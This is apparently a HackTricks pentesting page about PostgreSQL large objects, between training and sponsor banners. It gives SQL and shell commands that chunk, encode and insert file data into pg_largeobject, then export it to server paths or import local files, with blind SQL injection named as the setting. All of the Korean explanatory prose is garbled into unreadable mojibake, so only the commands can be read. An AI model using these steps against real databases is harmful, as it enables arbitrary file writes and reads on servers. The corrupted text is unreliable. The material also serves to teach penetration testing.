Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
PostgreSQL ๋์ฉ๋ ๊ฐ์ฒด
PostgreSQL๋ ๋์ฉ๋ ๊ฐ์ฒด๋ก ์๋ ค์ง ๊ตฌ์กฐ๋ฅผ ์ ๊ณตํ๋ฉฐ, ์ด๋ pg_largeobject ํ
์ด๋ธ์ ํตํด ์ ๊ทผํ ์ ์์ผ๋ฉฐ, ์ด๋ฏธ์ง๋ PDF ๋ฌธ์์ ๊ฐ์ ๋ํ ๋ฐ์ดํฐ ์ ํ์ ์ ์ฅํ๊ธฐ ์ํด ์ค๊ณ๋์์ต๋๋ค. ์ด ์ ๊ทผ ๋ฐฉ์์ ๋ฐ์ดํฐ๋ฅผ ํ์ผ ์์คํ
์ผ๋ก ๋ค์ ๋ด๋ณด๋ด๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ฏ๋ก COPY TO ํจ์๋ณด๋ค ์ ๋ฆฌํ๋ฉฐ, ์๋ณธ ํ์ผ์ ์ ํํ ๋ณต์ ๋ณธ์ด ์ ์ง๋ฉ๋๋ค.
์ด ํ
์ด๋ธ ๋ด์์ ์ ์ฒด ํ์ผ์ ์ ์ฅํ๊ธฐ ์ํด pg_largeobject ํ
์ด๋ธ์ ๊ฐ์ฒด๋ฅผ ์์ฑํด์ผ ํ๋ฉฐ(LOID๋ก ์๋ณ๋จ), ๊ทธ ๋ค์์ ๊ฐ 2KB ํฌ๊ธฐ์ ๋ฐ์ดํฐ ์ฒญํฌ๋ฅผ ์ด ๊ฐ์ฒด์ ์ฝ์
ํด์ผ ํฉ๋๋ค. ์ด๋ฌํ ์ฒญํฌ๋ ๋ด๋ณด๋ด๊ธฐ ๊ธฐ๋ฅ์ด ์ฌ๋ฐ๋ฅด๊ฒ ์๋ํ๋๋ก ๋ณด์ฅํ๊ธฐ ์ํด ์ ํํ 2KB ํฌ๊ธฐ์ฌ์ผ ํ๋ฉฐ(๋ง์ง๋ง ์ฒญํฌ๋ ์์ธ์ผ ์ ์์) ์ค์ํฉ๋๋ค.
์ด์ง ๋ฐ์ดํฐ๋ฅผ 2KB ์ฒญํฌ๋ก ๋๋๊ธฐ ์ํด ๋ค์ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค:
split -b 2048 your_file # Creates 2KB sized files
๊ฐ ํ์ผ์ Base64 ๋๋ Hex๋ก ์ธ์ฝ๋ฉํ๊ธฐ ์ํด ์๋์ ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
์ค์: ์ด ํ๋ก์ธ์ค๋ฅผ ์๋ํํ ๋, 2KB์ ์ผ๋ฐ ํ
์คํธ ๋ฐ์ดํธ ์ฒญํฌ๋ฅผ ์ ์กํด์ผ ํฉ๋๋ค. Hex ์ธ์ฝ๋ฉ๋ ํ์ผ์ ํฌ๊ธฐ๊ฐ ๋ ๋ฐฐ๋ก ์ฆ๊ฐํ๋ฏ๋ก ์ฒญํฌ๋น 4KB์ ๋ฐ์ดํฐ๊ฐ ํ์ํ๋ฉฐ, Base64 ์ธ์ฝ๋ฉ๋ ํ์ผ์ ceil(n / 3) * 4 ๊ณต์์ ๋ฐ๋ฆ
๋๋ค.
๋์ฉ๋ ๊ฐ์ฒด์ ๋ด์ฉ์ ๋๋ฒ๊น ๋ชฉ์ ์ผ๋ก ๋ค์์ ์ฌ์ฉํ์ฌ ๋ณผ ์ ์์ต๋๋ค:
select loid, pageno, encode(data, 'escape') from pg_largeobject;
Using lo_creat & Base64
์ด์ง ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๊ธฐ ์ํด, ๋จผ์ LOID๊ฐ ์์ฑ๋ฉ๋๋ค:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
์ ํํ ์ ์ด๊ฐ ํ์ํ ์ํฉ, ์๋ฅผ ๋ค์ด Blind SQL Injection์ ์
์ฉํ ๋, lo_create๋ ๊ณ ์ LOID๋ฅผ ์ง์ ํ๋ ๋ฐ ์ ํธ๋ฉ๋๋ค.
๋ฐ์ดํฐ ์ฒญํฌ๋ ๋ค์๊ณผ ๊ฐ์ด ์ฝ์ ํ ์ ์์ต๋๋ค:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
์ฌ์ฉ ํ ๋์ฉ๋ ๊ฐ์ฒด๋ฅผ ๋ด๋ณด๋ด๊ณ ์ ์ฌ์ ์ผ๋ก ์ญ์ ํ๋ ค๋ฉด:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
lo_import ๋ฐ Hex ์ฌ์ฉ
lo_import ํจ์๋ ๋ํ ๊ฐ์ฒด์ ๋ํ LOID๋ฅผ ์์ฑํ๊ณ ์ง์ ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค:
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
๊ฐ์ฒด ์์ฑ ํ, ๊ฐ ํ์ด์ง์ ๋ฐ์ดํฐ๊ฐ ์ฝ์ ๋๋ฉฐ, ๊ฐ ์ฒญํฌ๊ฐ 2KB๋ฅผ ์ด๊ณผํ์ง ์๋๋ก ๋ณด์ฅํฉ๋๋ค:
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
ํ๋ก์ธ์ค๋ฅผ ์๋ฃํ๊ธฐ ์ํด ๋ฐ์ดํฐ๊ฐ ๋ด๋ณด๋ด์ง๊ณ ๋์ฉ๋ ๊ฐ์ฒด๊ฐ ์ญ์ ๋ฉ๋๋ค:
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
์ ํ ์ฌํญ
๋ํ ๊ฐ์ฒด๋ ACL(Access Control Lists)์ ๊ฐ์ง ์ ์์ผ๋ฉฐ, ์ด๋ ์ฌ์ฉ์๊ฐ ์์ฑํ ๊ฐ์ฒด์ ๋ํ ์ ๊ทผ์ ์ ํํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ํ์ฉ์ ์ธ ACL์ ๊ฐ์ง ์ค๋๋ ๊ฐ์ฒด๋ ์ฌ์ ํ ์ฝํ ์ธ ์ ์ถ์ ์ํด ์ ๊ทผํ ์ ์์ ์ ์์ต๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


